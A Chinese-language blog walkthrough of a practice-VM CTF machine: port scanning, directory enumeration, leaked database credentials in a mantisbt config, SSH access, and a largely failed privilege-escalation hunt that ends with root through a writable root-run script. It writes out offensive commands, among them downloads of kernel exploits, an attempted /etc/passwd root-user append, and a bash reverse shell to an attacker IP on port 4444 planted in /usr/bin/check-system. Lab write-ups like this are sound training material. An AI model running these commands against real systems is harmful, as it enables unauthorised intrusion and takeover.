提示:本文记录了博主一次艰难又失败的提权经历
目录
- 1. 主机发现
- 2. 端口扫描
- 3. 服务枚举
- 4. 服务探查
- 4.1 Apache探查
- 4.1.1 adminer.php
- 4.1.2 /cms/目录
- 4.1.3 /info.php页面
- 4.1.4 nikto扫描
- 4.1.5 dirb扫描
- 4.1.6 登录Adminer
- 5. 提权
- 5.1 系统信息枚举
- 5.2 定时任务枚举
- 5.3 探查/etc/passwd
- 5.4 可执行文件枚举
- 5.5 linpeas提权
- 5.6 EXP提权
- 5.6.1 15962.c
- 5.6.2 50135.c
- 5.6.3 47163.c
- 5.6.4 42274.c
- 5.6.5 42276.c
- 5.7 提权说明
- 6. 获取flag
1. 主机发现
目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.65.0/24
锁定目标靶机的IP地址为192.168.65.133。
2. 端口扫描
通过下面的命令,对目标靶机进行一下全端口扫描。
$ sudo nmap -p- 192.168.65.133
还好,开启的端口就三个,我们重点关注80端口和8082端口。
3. 服务枚举
通过下面的命令,对上述端口上运行的服务进行枚举。
$ sudo nmap -p22,80,8082 -A -sT -sV 192.168.65.133
从扫描结果来看,都还算是比较常规的服务,接下来将会深入探查一下Apache和Nginx。
4. 服务探查
4.1 Apache探查
首先通过浏览器手工访问一下。
就是一个静态的图片,没有其它内容,还是进行一下目录枚举吧。
$ dirsearch -u http://192.168.65.133
内容也不是很多,我们重点把200和301/302的看一下。
4.1.1 adminer.php
首先看一下/adminer.php。
这个Adminer看上去是一个数据库的管理console,版本是4.7.7,但是目前来看还不知道怎么突破它,未知参数比较多,直接搜索一下EXP吧。
结果竟然为空,再用Metasploit搜索一下试试看。
同样是空的,再用Google试试看。
嗯,应该还是有些漏洞的,等会儿需要的时候回来研究一下。
4.1.2 /cms/目录
再看一下/cms/目录。
貌似是一个跟音乐有关的站点,在整个站点点击了一遍,没有发现我们感兴趣的内容。
4.1.3 /info.php页面
再看一下/info.php页面。
这个页面可以得到一些我们可能需要的信息,比如php的版本是7.3.14-1,除此之外,没有发现更多内容,对于Apache的探查暂时到此为止。
4.1.4 nikto扫描
感觉到这里为止没有得到太多有用的内容,用nikto扫描一下试试看
$ nikto -h http://192.168.65.133
额,神器啊,发现了默认账号,还有可能存在远程文件包含漏洞。
先进入/system看一下。
进一步输入一下nikto发现的默认账号密码。
啊,登录以后又出来一个不一样的登录页面,继续用这个账号试试看。
嗯,这次登录失败了,不过左下角有个注册新账号的连接,进去看看。
嗯,没有用的,需要用邮箱激活。再看看这默认账号admin/admin是否可以在Adminer页面登录。
看来我想多了。其实这里的/system/目录就是我们一开始枚举的时候返回401的目录,针对那个目录的内容,逐个看看,发现都报404。
还是看看那个远程文件包含的漏洞吧,直接访问http://192.168.65.133/info.php?file=http://blog.cirt.net/rfiinc.txt
。
是可以访问的,我们在本地构建一个名为payload2.php的脚本,内容如下。
然后,通过python3 -m http.server 80起一个web服务,好让我们的靶机可以访问到这个php脚本。
通过前面远程文件包含漏洞的路径访问一下(http://192.168.65.133/info.php?file=http://192.168.65.202/payload2.php
)。可惜的是没有任何反应,burp显示返回200 OK,但是没有返回我们期望的内容,如下图,暂时放弃。
4.1.5 dirb扫描
既然都挖到这里了,再用dirb挂上big.txt枚举一下看看。
$ dirb http://192.168.65.133 /usr/share/dirb/wordlists/big.txt
哇,还真有货,有个mantisbt目录,这个目录之前用dirsearch和nikto都没有扫出来。进去看看里面都有些啥。
/mantisbt/admin路径会导向我们的登录页面,/mantisbt/api路径下会有好多soap接口相关的文件,/mantisbt/config下面有一些配置文件,看看这里面有没有我们需要的配置信息。
最终发现了两个值得关注的文件,一个是a.txt文件,里面有好多配置信息,更重要的是发现了数据库的用户名密码。
另外就是data.sql文件,描述了表、字段,以及一些初始信息。
这些我们可能都会用得到。
4.1.6 登录Adminer
先尝试用前面a.txt文件中的数据库配置信息登录一下试试看。
真的可以登录,里面有大量的内容,先从最底下的user表入手。
有用户名密码信息,先用hash-identifier看看这个密码大致的加密类型。
$ hash-identifier 3492f8fe2cb409e387ddb0521c999c38
从这里来看,可能是MD5或者是域缓存凭证MD4,细心的朋友可能已经注意到了,user_table表中的realname字段看上去长得跟密码差不多的样子啊,会不会这就是真正的密码明文呢?
我们尝试用administrator的realname进行一下MD5计算看看是不是跟password存放的内容是一样的。
确实不一样,不管了,既然长得像密码,就直接用这个realname看看能不能ssh到目标靶机。
清空一下.ssh目录下的内容,然后再试一下。
这个密码是不正确的,顺带试一下tre账号。
啊,这个密码是可以进来的,既然突破了边界,其它的就不再探查了,下一步直接提权。
5. 提权
5.1 系统信息枚举
通过下面的命令枚举一下系统信息。
$ uname -a
$ cat /etc/*-release
$ getconf LONG_BIT
嗯,是64位的debian 10,内核版本4.19.118-2。
5.2 定时任务枚举
没有可用的定时任务。
5.3 探查/etc/passwd
查看一下passwd文件的内容。
tre@tre:~$ cat /etc/passwd | grep -v "nologin"
没有特别的用户,主要还是root用户和当前的tre用户。尝试往passwd文件中写入一个跟root用户相同权限的用户试试看。
$ echo "testusr:BKZqXABcHmt3Y:0:0:root:/root:/bin/bash" >> /etc/passwd
权限不够。
5.4 可执行文件枚举
先通过sudo -l看一下。
貌似只有一个shutdown是可以的,个人感觉这个应该没法用于提权,google一下看看,还真有(https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-shutdown-poweroff-privilege-escalation/
),如下图。
我们按照文章内容的指引试一下,
首先创建一个/tmp/poweroff。
$ echo /bin/bash > /tmp/poweroff
给/tmp/poweroff赋予可执行权限,并将/tmp目录添加到PATH环境变量。
$ chmod u+x /tmp/poweroff
$ export PATH=/tmp:$PATH
通过sudo执行shutdown命令。
$ sudo /sbin/shutdown
额,貌似没有提权成功,还退出了。还是看看root用户所有,其它用户可执行的文件吧。
$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"
嗯,有个check-system程序,再通过下面的命令试试看。
www-data@ubuntu:/$ find / -user root -perm -4000 2>/dev/null
这里面有个chfn,上网搜了一下,貌似可以基于CVE-2022-0847的一个名为dirtypipe的漏洞来提权,我们再kali上下载代码并进行编译。
$ wget https://haxx.in/files/dirtypipez.c
$ gcc dirtypipez.c -o dirtypipez
然后上传到目标靶机,并执行。
$ wget http://192.168.65.202/dirtypipez
$ chmod 775 dirtypipez
$ ./dirtypipez /usr/bin/chfn
利用失败了,缺少库文件,在本地的老版本Ubuntu上编译再试一下。
仍然失败,暂时放弃。
5.5 linpeas提权
借助一下linpeas神器,首先扫出来的是CVE-2022-2588。
从git上clone代码,并打包上传到目标靶机。
$ git clone https://github.com/Markakd/CVE-2022-2588.git
$ tar cvf CVE-2022-2588.tar CVE-2022-2588
$ python3 -m http.server 80
在目标靶机上下载解包,并进入目录。
$ wget http://192.168.65.202/CVE-2022-2588.tar
$ tar xf CVE-2022-2588.tar
$ cd CVE-2022-2588
修改一下执行权限,然后执行
$ chmod 775 *
$ ./exp_file_credential
执行到这里以后,就没反应了,机器本身并没有挂掉,果断放弃,接下来是个高可能性的漏洞CVE-2019-13272。
通过漏洞描述来看,这应该是一个竞态条件漏洞,我们尝试利用一下。
$ wget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
在本地Ubuntu上编译一下。
$ gcc -s poc.c -o poc
上传到目标靶机运行一下。
漏洞利用失败,继续往下看,并没有找到太多有用的信息,感觉无计可施了。
5.6 EXP提权
先搜索一下内核漏洞。
$ searchsploit kernel 4.19.118
上面标出来的四个EXP可能性比较大,再搜索一下Debian。
上面标出来的两个EXP也有很大的可能性,先把上面6个EXP的代码全部拷贝下来,然后逐个研究一下,仍然采用老策略,需要编译的话直接在本地较老的Ubuntu上编译。
$ searchsploit -m 15962 50135 47163 42274 42276
5.6.1 15962.c
第一个就碰钉子了,不管在kali上还是在Ubuntu上都无法正常编译,放弃。
5.6.2 50135.c
$ gcc -static 50135.c -o 50135
失败。
5.6.3 47163.c
$ gcc 47163.c -o 47163
这个EXP也用不了。
5.6.4 42274.c
$ gcc -fpic -shared -nostdlib -Os -s -o 42274 42274.c
$ gcc -fpic -shared -nostdlib -Os -s -o la.so 42274.c
一直无法成功,放弃。
5.6.5 42276.c
也没法编译,放弃。到目前为止宣告提权失败。
5.7 提权说明
这里上网搜索了一下大家的思路,还是利用了之前搜索出来的check-system程序,如下图。
可惜的是我根本没有重视(就是功夫不到家),直接跳过去了。这里我们看看这个程序是不是root用户启动的。
tre@tre:/tmp$ ps -ef | grep "check-system"
确实是root用户启动的,可能是系统启动的时候执行的。我们看看这个文件里面是什么内容,再尝试看看是否可以修改。
看不太懂,感觉就是循环check,尝试向这个文件写入一个反弹shell。
哈,真的可以写进去,我们重新编辑一下这个文件,如下述所示。
tre@tre:/tmp$ echo "DATE=`date '+%Y-%m-%d %H:%M:%S'`" > /usr/bin/check-system
tre@tre:/tmp$ echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.65.202/4444 0>&1'" >> /usr/bin/check-system
tre@tre:/tmp$ echo "echo \"Service started at ${DATE}\" | systemd-cat -p info" >> /usr/bin/check-system
tre@tre:/tmp$ echo "while :" >> /usr/bin/check-system
tre@tre:/tmp$ echo "do" >> /usr/bin/check-system
tre@tre:/tmp$ echo "echo \"Checking...\";" >> /usr/bin/check-system
tre@tre:/tmp$ echo "sleep 1;" >> /usr/bin/check-system
tre@tre:/tmp$ echo "done" >> /usr/bin/check-system
然后在kali本地监听4444端口。
在目标靶机上重启执行重启。
直接重启不行,估计还得用我们前面sudo -l搜出来的/sbin/shutdown命令。
tre@tre:/tmp$ sudo /sbin/shutdown -r now
静待反弹shell建立,结果一直没有反弹。到虚拟机里面看一下,靶机根本就没有起来,如下图。
手工重启一下靶机试试看,这次启动成功了,但是反弹shell仍然没有建立,如下图。
回到靶机里面看一下我们修改的内容是否还存在。
修改的内容还在,我们把建立反弹shell的内容放到while循环里面去,再试试。
tre@tre:~$ echo "DATE=\`date '+%Y-%m-%d %H:%M:%S'\`" > /usr/bin/check-system
tre@tre:~$ echo "echo \"Service started at ${DATE}\" | systemd-cat -p info" >> /usr/bin/check-system
tre@tre:~$ echo "while :" >> /usr/bin/check-system
tre@tre:~$ echo "do" >> /usr/bin/check-system
tre@tre:~$ echo "echo \"Checking...\";" >> /usr/bin/check-system
tre@tre:~$ echo "/bin/bash -c 'exec bash -i >&/dev/tcp/192.168.65.202/4444 <&1'" >> /usr/bin/check-system
tre@tre:~$ echo "sleep 1;" >> /usr/bin/check-system
tre@tre:~$ echo "done" >> /usr/bin/check-system
再次重启靶机。
这次反弹成功了,进一步验证一下。
成功提权到root。